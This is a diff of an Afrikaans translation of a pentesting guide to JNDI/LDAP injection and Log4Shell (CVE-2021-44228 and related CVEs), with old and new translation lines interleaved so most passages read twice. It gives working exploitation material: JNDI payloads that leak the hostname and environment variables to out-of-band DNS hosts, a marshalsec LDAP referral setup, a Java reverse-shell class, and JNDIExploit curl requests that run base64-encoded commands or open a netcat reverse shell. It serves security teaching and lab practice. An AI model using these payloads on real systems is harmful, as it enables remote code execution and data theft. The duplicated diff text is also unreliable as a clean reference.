- Konfigurering van die Sekuriteitsbestuurder om verbinding met potensieel skadelike kodebasisse toe te laat. Dit kan bereik word deur:
|
||||
- Socket-toestemming, bv. ````permissions java.net.SocketPermission "*:1098-1099", "connect";````.
|
||||
- Lêerleestoestemmings, óf universeel (````permission java.io.FilePermission "<<ALL FILES>>", "read";````) óf vir spesifieke gids waar skadelike lêers geplaas kan word.
|
||||
* Installasie van 'n **Sekuriteitsbestuurder**.
|
||||
* Konfigurering van die Sekuriteitsbestuurder om koppelings na potensieel skadelike kodebasisse toe te laat. Dit kan bereik word deur:
|
||||
* Soket-toestemming, bv., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
|
||||
* Lêerleestoestemming, óf universeel (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) óf vir spesifieke gids waar skadelike lêers geplaas kan word.
|
||||
|
||||
Daar kan egter wees dat sommige verskafferbeleide inskiklik is en hierdie verbindinge standaard toelaat.
|
||||
Sommige vervaardigerbeleide mag egter inskiklik wees en hierdie koppelings standaard toelaat.
|
||||
|
||||
### RMI Konteks
|
||||
|
||||
Vir RMI (Remote Method Invocation) is die situasie effens anders. Soos met CORBA, word die aflaai van willekeurige klasse standaard beperk. Om RMI uit te buit, sal 'n persoon tipies die Sekuriteitsbestuurder moet omseil, 'n prestasie wat ook relevant is in CORBA.
|
||||
Vir RMI (Remote Method Invocation) is die situasie effens anders. Soos met CORBA, is die aflaai van willekeurige klasse standaard beperk. Om RMI uit te buit, sou 'n aanvaller tipies die Sekuriteitsbestuurder moet omseil, 'n prestasie wat ook relevant is in CORBA.
|
||||
|
||||
### LDAP
|
||||
|
||||
Eerstens moet ons onderskei tussen 'n Soektog en 'n Opsoek.\
|
||||
'N **soektog** sal 'n URL gebruik soos `ldap://localhost:389/o=JNDITutorial` om die JNDITutorial-voorwerp van 'n LDAP-bediener te vind en **sy eienskappe te herwin**.\
|
||||
'N **opsoek** is bedoel vir **benamingsdienste** aangesien ons **alles wat aan 'n naam gebind is**, wil kry.
|
||||
'N **soektog** sal 'n URL soos `ldap://localhost:389/o=JNDITutorial` gebruik om die JNDITutorial-voorwerp vanaf 'n LDAP-bediener te vind en **sy eienskappe op te haal**.\
|
||||
'N **opsoek** is bedoel vir **benamingsdienste** aangesien ons wil kry **wat ook al aan 'n naam gebind is**.
|
||||
|
||||
As die LDAP-soektog aangeroep is met **SearchControls.setReturningObjFlag() met `true`, sal die teruggevoerde voorwerp herkonstrueer word**.
|
||||
Indien die LDAP-soektog geaktiveer is met **SearchControls.setReturningObjFlag() met `true`, sal die teruggekeerde voorwerp herkonstrueer word**.
|
||||
|
||||
Daarom is daar verskeie maniere om hierdie opsies aan te val.\
|
||||
'N **aanvaller kan LDAP-rekords vergiftig deur payloads daarop in te voer** wat in die stelsels wat dit versamel, uitgevoer sal word (baie nuttig om tientalle masjiene te kompromitteer as jy toegang tot die LDAP-bediener het). 'N Ander manier om dit uit te buit, sou wees om 'n **MitM-aanval in 'n LDAP-soektog** uit te voer, byvoorbeeld.
|
||||
'N **aanvaller kan LDAP-rekords vergiftig deur lading daarop in te voer wat in die stelsels wat dit versamel, uitgevoer sal word** (baie nuttig om tientalle masjiene te kompromiteer as jy toegang tot die LDAP-bediener het). 'N Ander manier om dit uit te buit, sou wees om 'n **MitM-aanval in 'n LDAP-soektog** byvoorbeeld uit te voer.
|
||||
|
||||
In die geval dat jy 'n toepassing kan laat 'n JNDI LDAP-URL oplos, kan jy die LDAP wat gesoek sal word, beheer, en jy kan die uitbuiting (log4shell) terugstuur.
|
||||
In die geval dat jy 'n toepassing 'n JNDI LDAP-URL kan laat oplos, kan jy die LDAP wat gesoek sal word, beheer, en jy kan die uitbuiting terugstuur (log4shell).
|
||||
|
||||
#### Deserialisasie-uitbuiting
|
||||
|
||||
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
|
||||
|
||||
Die **uitbuiting word geserialiseer** en sal gedeserialiseer word.\
|
||||
As `trustURLCode
|
||||
## Log4Shell-kwesbaarheid
|
||||
Die **uitbuiting is geserializeer** en sal gedeserializeer word.\
|
||||
Indien `trustURLCodebase` `true` is, kan 'n aanvaller sy eie klasse in die kodebasis voorsien, indien nie, sal hy gadgets in die klasklas moet misbruik.
|
||||
|
||||
Die kwesbaarheid word geïntroduceer in Log4j omdat dit 'n [**spesiale sintaksis**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) ondersteun in die vorm `${prefix:name}` waar `prefix` een van 'n aantal verskillende [**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html) is waar `name` geëvalueer moet word. Byvoorbeeld, `${java:version}` is die huidige weergawe van Java wat uitgevoer word.
|
||||
#### JNDI Verwysingsuitbuiting
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) het 'n `jndi` Lookup-funksie ingevoer. Hierdie funksie maak dit moontlik om veranderlikes deur JNDI te herwin. Gewoonlik word die sleutel outomaties voorafgegaan deur `java:comp/env/`. As die sleutel self egter 'n **":"** bevat, word hierdie verstek voorvoegsel nie toegepas nie.
|
||||
Dit is makliker om hierdie LDAP aan te val met **JavaFactory-verwysings**:
|
||||
|
||||
Met 'n **: teenwoordig** in die sleutel, soos in `${jndi:ldap://example.com/a}`, is daar **geen voorvoegsel** nie en word die **LDAP-bediener ondervra vir die voorwerp**. En hierdie Lookups kan gebruik word in beide die konfigurasie van Log4j en wanneer lyne gelog word.
|
||||
![](<../../.gitbook/assets/image (660) (1) (1).png>)
|
||||
|
||||
Daarom is die enigste ding wat nodig is om RCE te kry 'n **kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word**. En omdat dit 'n biblioteek is wat wyd deur Java-toepassings gebruik word om inligting te log (insluitend aan die internet blootgestelde toepassings), was dit baie algemeen om log4j te hê wat byvoorbeeld HTTP-koppele ontvang soos die User-Agent. Log4j word egter **nie net gebruik om HTTP-inligting te log nie, maar enige insette** en data wat deur die ontwikkelaar aangedui word.
|
||||
## Log4Shell Kwesbaarheid
|
||||
|
||||
## Oorsig van Log4Shell-verwante CVE's
|
||||
Die kwesbaarheid word ingebring in Log4j omdat dit 'n [**spesiale sintaksis**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) ondersteun in die vorm `${prefix:name}` waar `prefix` een van 'n aantal verskillende [**Opsoekinge**](https://logging.apache.org/log4j/2.x/manual/lookups.html) is waar `name` geëvalueer moet word. Byvoorbeeld, `${java:version}` is die huidige lopende weergawe van Java.
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[Kritiek]**
|
||||
Hierdie kwesbaarheid is 'n kritieke **onbetroubare deserialisasie-fout** in die `log4j-core` komponent, wat weergawes vanaf 2.0-beta9 tot 2.14.1 affekteer. Dit maak **afgeleide kode-uitvoering (RCE)** moontlik, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is deur Chen Zhaojun van die Alibaba Cloud Security Team gerapporteer en affekteer verskeie Apache-raamwerke. Die oorspronklike regstelling in weergawe 2.15.0 was onvolledig. Sigma-reëls vir verdediging is beskikbaar ([Reël 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml), [Reël 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml)).
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) het 'n `jndi` Opsoekfunksie ingevoer. Hierdie funksie maak die verkryging van veranderlikes deur JNDI moontlik. Gewoonlik word die sleutel outomaties voorafgegaan deur `java:comp/env/`. Indien die sleutel self 'n **":"** insluit, word hierdie verstek voorvoegsel nie toegepas nie.
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[Kritiek]**
|
||||
Aanvanklik as laag beoordeel, maar later opgegradeer na kritiek, is hierdie CVE 'n **Diensweier (DoS)** fout as gevolg van 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit affekteer nie-standaard konfigurasies en stel aanvallers in staat om DoS-aanvalle deur middel van vervaardigde payloads te veroorsaak. 'n [Tweet](https://twitter.com/marcioalm/status/1471740771581652995) toon 'n omwegmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskapopsoekpatrone te verwyder en JNDI standaard uit te skakel.
|
||||
Met 'n **: teenwoordig** in die sleutel, soos in `${jndi:ldap://voorbeeld.com/a}` is daar **geen voorvoegsel** en word die **LDAP-bediener ondervra vir die voorwerp**. En hierdie Opsoekinge kan gebruik word in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[Hoog]**
|
||||
Hierdie CVE affekteer **Log4j 1.x-weergawes** in nie-standaard konfigurasies wat `JMSAppender` gebruik. Daar is geen regstelling beskikbaar vir die 1.x-tak nie, wat einde-van-die-lewe is, en dit word aanbeveel om na `log4j-core 2.17.0` op te gradeer.
|
||||
Daarom is die enigste ding wat nodig is om RCE te kry 'n **kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word**. En omdat dit 'n biblioteek is wat wyd deur Java-toepassings gebruik word om inligting te log (insluitend aan die internet blootgestelde toepassings) was dit baie algemeen om byvoorbeeld log4j-logboeke te hê wat HTTP-koppele ontvang soos die Gebruiker-Agent. Nietemin, word log4j **nie net gebruik om HTTP-inligting te log nie, maar enige insette** en data wat die ontwikkelaar aangedui het.
|
||||
## Oorsig van Log4Shell-Verwante CVE's
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[Gemiddeld]**
|
||||
Hierdie kwesbaarheid affekteer die **Logback-lograamwerk**, 'n opvolger van Log4j 1.x. Dit is voorheen beskou as veilig, maar die raamwerk is kwesbaar bevind en nuwer weergawes (1.3.0-alpha11 en 1.2.9) is vrygestel om die probleem aan te spreek.
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Krities]**
|
||||
|
||||
### **CVE-2021-45105** **[Hoog]**
|
||||
Log4j 2.16.0 bevat 'n DoS-fout, wat die vrystelling van `log4j 2.17.0` vereis om die CVE te regstel. Verdere besonderhede is beskikbaar in BleepingComputer se [verslag](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
Hierdie kwesbaarheid is 'n kritieke **ongetroue deserialisasie fout** in die `log4j-core` komponent, wat weergawes vanaf 2.0-beta9 tot 2.14.1 affekteer. Dit maak **afgeleë kode-uitvoering (RCE)** moontlik, wat aanvallers in staat stel om stelsels oor te neem. Die probleem is gerapporteer deur Chen Zhaojun van die Alibaba Cloud Security-span en affekteer verskeie Apache-raamwerke. Die aanvanklike regstelling in weergawe 2.15.0 was onvolledig. Sigma-reëls vir verdediging is beskikbaar ([Reël 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Reël 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Krities]**
|
||||
|
||||
Aanvanklik as laag beoordeel maar later opgegradeer na krities, is hierdie CVE 'n **Diensweier (DoS)** fout as gevolg van 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit affekteer nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle deur doelgemaakte vragte te veroorsaak. 'n [tweet](https://twitter.com/marcioalm/status/1471740771581652995) toon 'n omseilingsmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskapsoekpatrone te verwyder en JNDI standaard af te skakel.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Hoog]**
|
||||
|
||||
Wat **Log4j 1.x weergawes** affekteer in nie-standaard konfigurasies wat `JMSAppender` gebruik, is hierdie CVE 'n ongetroue deserialisasie fout. Geen regstelling is beskikbaar vir die 1.x-tak nie, wat einde-van-die-lyn is, en dit word aanbeveel om na `log4j-core 2.17.0` op te gradeer.
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Matig]**
|
||||
|
||||
Hierdie kwesbaarheid affekteer die **Logback-lograamwerk**, 'n opvolger van Log4j 1.x. Voorheen as veilig beskou, is die raamwerk kwesbaar bevind, en nuwer weergawes (1.3.0-alpha11 en 1.2.9) is vrygestel om die probleem aan te spreek.
|
||||
|
||||
### **CVE-2021-45105** **\[Hoog]**
|
||||
|
||||
Log4j 2.16.0 bevat 'n DoS-fout, wat die vrystelling van `log4j 2.17.0` aanmoedig om die CVE te regstel. Verdere besonderhede is in BleepingComputer se [verslag](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/).
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
Hierdie CVE affekteer log4j weergawe 2.17 en vereis dat die aanvaller die konfigurasie-lêer van log4j beheer. Dit behels potensiële willekeurige kode-uitvoering via 'n gekonfigureerde JDBCAppender. Meer besonderhede is beskikbaar in die [Checkmarx-blogpos](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
## Log4Shell-uitbuiting
|
||||
Wat log4j weergawe 2.17 affekteer, vereis hierdie CVE dat die aanvaller die konfigurasie lêer van log4j beheer. Dit behels potensiële willekeurige kode-uitvoering via 'n gekonfigureerde JDBCAppender. Meer besonderhede is beskikbaar in die [Checkmarx blogpos](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
## Log4Shell Uitbuiting
|
||||
|
||||
### Ontdekking
|
||||
|
||||
Hierdie kwesbaarheid is baie maklik om te ontdek as dit onbeskerm is, omdat dit ten minste 'n **DNS-versoek** na die adres sal stuur wat jy in jou payload aandui. Daarom, payloads soos:
|
||||
Hierdie kwesbaarheid is baie maklik om te ontdek indien onbeskerm omdat dit ten minste 'n **DNS-versoek** na die adres sal stuur wat jy in jou vrag aandui. Daarom, vragte soos:
|
||||
|
||||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (deur [canarytokens.com](https://canarytokens.org/generate) te gebruik)
|
||||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (deur [interactsh](https://github.com/projectdiscovery/interactsh) te gebruik)
|
||||
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (deur Burp Suite te gebruik)
|
||||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (deur [dnslog](http://dnslog.cn) te gebruik)
|
||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (deur [huntress](https://log4shell.huntress.com) te gebruik)
|
||||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (met behulp van [canarytokens.com](https://canarytokens.org/generate))
|
||||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (met behulp van [interactsh](https://github.com/projectdiscovery/interactsh))
|
||||
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (met behulp van Burp Suite)
|
||||
* `${jndi:ldap://2j4ayo.dnslog.cn}` (met behulp van [dnslog](http://dnslog.cn))
|
||||
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (met behulp van [huntress](https://log4shell.huntress.com))
|
||||
|
||||
Merk op dat **selfs as 'n DNS-versoek ontvang word, beteken dit nie dat die toepassing uitbuitbaar** is (of selfs kwesbaar nie), jy sal moet probeer om dit uit te buit.
|
||||
Merk op dat **selfs as 'n DNS-versoek ontvang word, beteken dit nie dat die aansoek uitbuitbaar** (of selfs kwesbaar) is nie, jy sal moet probeer om dit uit te buit.
|
||||
|
||||
{% hint style="info" %}
|
||||
Onthou dat jy die **localhost kontroleer om weergawe 2.15 uit te buit** deur die volgende te gebruik: ${jndi:ldap://**127.0.0.1#**...}
|
||||
Onthou dat om **weergawe 2.15 uit te buit** jy die **localhost kontrole omseiling** moet byvoeg: ${jndi:ldap://**127.0.0.1#**...}
|
||||
{% endhint %}
|
||||
|
||||
#### **Plaaslike ontdekking**
|
||||
#### **Plaaslike Ontdekking**
|
||||
|
||||
Soek na **plaaslike kwesbare weergawes** van die biblioteek met:
|
||||
```bash
|
||||
|
@ -149,14 +154,14 @@ find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[
|
|||
```
|
||||
### **Verifikasie**
|
||||
|
||||
Sommige van die platforms wat voorheen genoem is, sal jou toelaat om sekere veranderlike data in te voeg wat geregistreer sal word wanneer dit versoek word.\
|
||||
Sommige van die platforms wat voorheen gelys is, sal jou toelaat om sekere veranderlike data in te voeg wat geregistreer sal word wanneer dit aangevra word.\
|
||||
Dit kan baie nuttig wees vir 2 dinge:
|
||||
|
||||
* Om die kwesbaarheid te **verifieer**
|
||||
* Om inligting te **uit te lek** deur die kwesbaarheid te misbruik
|
||||
* Om inligting te **eksfileer** deur die kwesbaarheid te misbruik
|
||||
|
||||
Byvoorbeeld, jy kan iets soos die volgende versoek:\
|
||||
of soos `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** en as 'n **DNS-versoek ontvang word met die waarde van die omgewingsveranderlike**, weet jy dat die toepassing kwesbaar is.
|
||||
Byvoorbeeld kan jy iets soos aanvra:\
|
||||
of soos `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** en as 'n **DNS-aanvraag ontvang word met die waarde van die omgewingsveranderlike**, weet jy dat die aansoek kwesbaar is.
|
||||
|
||||
Ander inligting wat jy kan probeer **lek**:
|
||||
```
|
||||
|
@ -212,9 +217,9 @@ Any other env variable name that could store sensitive information
|
|||
### RCE Inligting
|
||||
|
||||
{% hint style="info" %}
|
||||
Gasheer-rekenaars wat op JDK-weergawes bo 6u141, 7u131 of 8u121 loop, is beskerm teen die LDAP-klaslaai-aanvalvektor. Dit is te danke aan die standaard deaktivering van `com.sun.jndi.ldap.object.trustURLCodebase`, wat voorkom dat JNDI 'n afgeleë kodebasis via LDAP laai. Dit is egter belangrik om daarop te let dat hierdie weergawes **nie teen die deserialisasie-aanvalvektor beskerm is nie**.
|
||||
Gasheerstelsels wat op JDK-weergawes bokant 6u141, 7u131 of 8u121 loop, is teen die LDAP-klasselaai-aanvalvektor beskerm. Dit is as gevolg van die standaard deaktivering van `com.sun.jndi.ldap.object.trustURLCodebase`, wat voorkom dat JNDI 'n afgeleë kodebasis via LDAP laai. Dit is egter noodsaaklik om daarop te let dat hierdie weergawes **nie teen die deserialisasie-aanvalvektor beskerm is nie**.
|
||||
|
||||
Vir aanvallers wat daarop gemik is om hierdie hoër JDK-weergawes uit te buit, is dit nodig om 'n **vertroude gadget** binne die Java-toepassing te benut. Gereedskap soos ysoserial of JNDIExploit word dikwels vir hierdie doel gebruik. Aan die ander kant is dit betreklik makliker om laer JDK-weergawes uit te buit, aangesien hierdie weergawes gemanipuleer kan word om willekeurige klasse te laai en uit te voer.
|
||||
Vir aanvallers wat daarop gemik is om hierdie hoër JDK-weergawes uit te buit, is dit nodig om 'n **vertroude toestel** binne die Java-toepassing te benut. Gereedskap soos ysoserial of JNDIExploit word dikwels vir hierdie doel gebruik. Aan die ander kant is dit relatief makliker om laer JDK-weergawes uit te buit aangesien hierdie weergawes gemanipuleer kan word om willekeurige klasse te laai en uit te voer.
|
||||
|
||||
Vir **meer inligting** (_soos beperkings op RMI- en CORBA-vektore_) **kyk na die vorige JNDI-naamgewingsverwysingsafdeling** of [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
{% endhint %}
|
||||
|
@ -223,11 +228,11 @@ Vir **meer inligting** (_soos beperkings op RMI- en CORBA-vektore_) **kyk na die
|
|||
|
||||
Jy kan dit toets in die **THM-boks:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
Gebruik die gereedskap [**marshalsec**](https://github.com/mbechler/marshalsec) (jar-weergawe beskikbaar [**hier**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hierdie benadering stel 'n LDAP-verwysingbediener op om verbindinge na 'n sekondêre HTTP-bediener om te lei waar die uitbuiting gehuisves sal word:
|
||||
Gebruik die gereedskap [**marshalsec**](https://github.com/mbechler/marshalsec) (jar-weergawe beskikbaar [**hier**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hierdie benadering stel 'n LDAP verwysingbediener op om verbindinge na 'n sekondêre HTTP-bedienaar om te lei waar die uitbuiting gehuisves sal word:
|
||||
```bash
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
|
||||
```
|
||||
Om die teiken te dwing om 'n omgekeerde skulpoort-kode te laai, skep 'n Java-lêer genaamd `Exploit.java` met die volgende inhoud:
|
||||
Om die teiken aan te spoor om 'n omgekeerde dop te laai, maak 'n Java-lêer met die naam `Exploit.java` met die inhoud hieronder:
|
||||
```java
|
||||
public class Exploit {
|
||||
static {
|
||||
|
@ -239,23 +244,23 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
Kompileer die Java-lêer na 'n klasselêer deur die volgende te gebruik: `javac Exploit.java -source 8 -target 8`. Begin dan 'n **HTTP-bediener** in die gids wat die klasselêer bevat met: `python3 -m http.server`. Maak seker dat die **marshalsec LDAP-bediener** na hierdie HTTP-bediener verwys.
|
||||
Kompileer die Java-lêer na 'n klasselêer met: `javac Exploit.java -source 8 -target 8`. Begin daarna 'n **HTTP-bediener** in die gids wat die klasselêer bevat met: `python3 -m http.server`. Maak seker dat die **marshalsec LDAP-bediener** na hierdie HTTP-bediener verwys.
|
||||
|
||||
Laat die uitvoering van die exploiteerklas op die vatbare webbediener plaasvind deur 'n lading te stuur wat soos die volgende lyk:
|
||||
Lok die uitvoering van die uitbuitklas op die vatbare webbediener uit deur 'n lading te stuur wat lyk soos:
|
||||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**Nota:** Hierdie uitbuiting steun op Java se konfigurasie om afstandsbeheerlaaibasisse via LDAP toe te laat. As dit nie toelaatbaar is nie, oorweeg om 'n vertroude klas uit te buit vir willekeurige kode-uitvoering.
|
||||
**Nota:** Hierdie uitbuiting steun op Java se konfigurasie om afgeleë kodebasis laai via LDAP. Indien dit nie toegelaat word nie, oorweeg om 'n vertroude klas uit te buit vir willekeurige kode-uitvoering.
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
Merk op dat die outeur hierdie projek na die ontdekking van log4shell van GitHub verwyder het. 'n Gekasjte weergawe kan gevind word by [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2), maar as jy die besluit van die outeur wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid uit te buit.
|
||||
Let daarop dat die skrywer hierdie projek na die ontdekking van log4shell van github verwyder het. Jy kan 'n gekaapte weergawe vind op [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) maar as jy die skrywer se besluit wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid uit te buit.
|
||||
|
||||
Verder kan jy nie die bronkode in die wayback-masjien vind nie, so analiseer die bronkode of voer die jar uit met die besef dat jy nie weet wat jy uitvoer nie.
|
||||
Daarbenewens kan jy nie die bronkode in die wayback machine vind nie, so analiseer die bronkode, of voer die jar uit met die wete dat jy nie weet wat jy uitvoer nie.
|
||||
{% endhint %}
|
||||
|
||||
Vir hierdie voorbeeld kan jy net hierdie **kwesbare webbediener vir log4shell** op poort 8080 uitvoer: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in die README sal jy vind hoe om dit uit te voer_). Hierdie kwesbare toepassing log die inhoud van die HTTP-aanvraagkop _X-Api-Version_ met 'n kwesbare weergawe van log4shell.
|
||||
Vir hierdie voorbeeld kan jy net hierdie **kwesbare webbediener vir log4shell** hardloop op poort 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in die README sal jy vind hoe om dit te hardloop_). Hierdie kwesbare program log met 'n kwesbare weergawe van log4shell die inhoud van die HTTP-versoekkop _X-Api-Version_.
|
||||
|
||||
Daarna kan jy die **JNDIExploit** jar-lêer aflaai en dit uitvoer met:
|
||||
```bash
|
||||
|
@ -263,8 +268,8 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
|
|||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
Na die kode 'n paar minute gelees te het, kan jy sien hoe die **LDAP- en HTTP-bedieners geskep word** in _com.feihong.ldap.LdapServer_ en _com.feihong.ldap.HTTPServer_. Die LDAP-bediener sal verstaan watter payload bedien moet word en sal die slagoffer na die HTTP-bediener omskakel, wat die uitbuiting sal bedien.\
|
||||
In _com.feihong.ldap.gadgets_ kan jy **sekere spesifieke gadgets** vind wat gebruik kan word om die gewenste aksie uit te voer (moontlik willekeurige kode uit te voer). En in _com.feihong.ldap.template_ kan jy die verskillende templaatklasse sien wat die uitbuitings sal **genereer**.
|
||||
Na die lees van die kode net 'n paar minute, in _com.feihong.ldap.LdapServer_ en _com.feihong.ldap.HTTPServer_ kan jy sien hoe die **LDAP en HTTP bedieners geskep word**. Die LDAP-bediener sal verstaan watter lading bedien moet word en sal die slagoffer na die HTTP-bediener omskakel, wat die uitbuiting sal bedien.\
|
||||
In _com.feihong.ldap.gadgets_ kan jy **sekere spesifieke toestelle** vind wat gebruik kan word om die gewenste aksie uit te voer (potensieel arbitrêre kode uit te voer). En in _com.feihong.ldap.template_ kan jy die verskillende templaatklasse sien wat die uitbuitings sal **genereer**.
|
||||
|
||||
Jy kan al die beskikbare uitbuitings sien met **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Sommige nuttige een is:
|
||||
```bash
|
||||
|
@ -273,7 +278,7 @@ ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
|
|||
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
|
||||
# But there are a lot more
|
||||
```
|
||||
So, in ons voorbeeld het ons reeds daardie kwesbare docker-toepassing wat loop. Om dit aan te val:
|
||||
So, in ons voorbeeld, het ons reeds daardie kwesbare docker-toepassing wat loop. Om dit aan te val:
|
||||
```bash
|
||||
# Create a file inside of th vulnerable host:
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
|
||||
|
@ -282,14 +287,14 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
|||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
||||
```
|
||||
Wanneer jy die aanvalle stuur, sal jy 'n uitset sien in die terminaal waar jy **JNDIExploit-1.2-SNAPSHOT.jar** uitgevoer het.
|
||||
Wanneer jy die aanvalle stuur, sal jy 'n paar uitsette sien in die terminaal waar jy **JNDIExploit-1.2-SNAPSHOT.jar** uitgevoer het.
|
||||
|
||||
**Onthou om `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` te kontroleer vir ander uitbuitingsopsies. Verder kan jy, indien nodig, die poort van die LDAP- en HTTP-bedieners verander.**
|
||||
**Onthou om `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` te kontroleer vir ander uitbuitingsopsies. Verder, indien nodig, kan jy die poort van die LDAP en HTTP bedieners verander.**
|
||||
|
||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
Op 'n soortgelyke manier as die vorige uitbuiting, kan jy probeer om [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) te gebruik om hierdie kwesbaarheid uit te buit.\
|
||||
Jy kan die URL's genereer om aan die slagoffer te stuur deur die volgende uit te voer:
|
||||
Op 'n soortgelyke manier as die vorige uitbuit, kan jy probeer om [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) te gebruik om hierdie kwesbaarheid uit te buit.\
|
||||
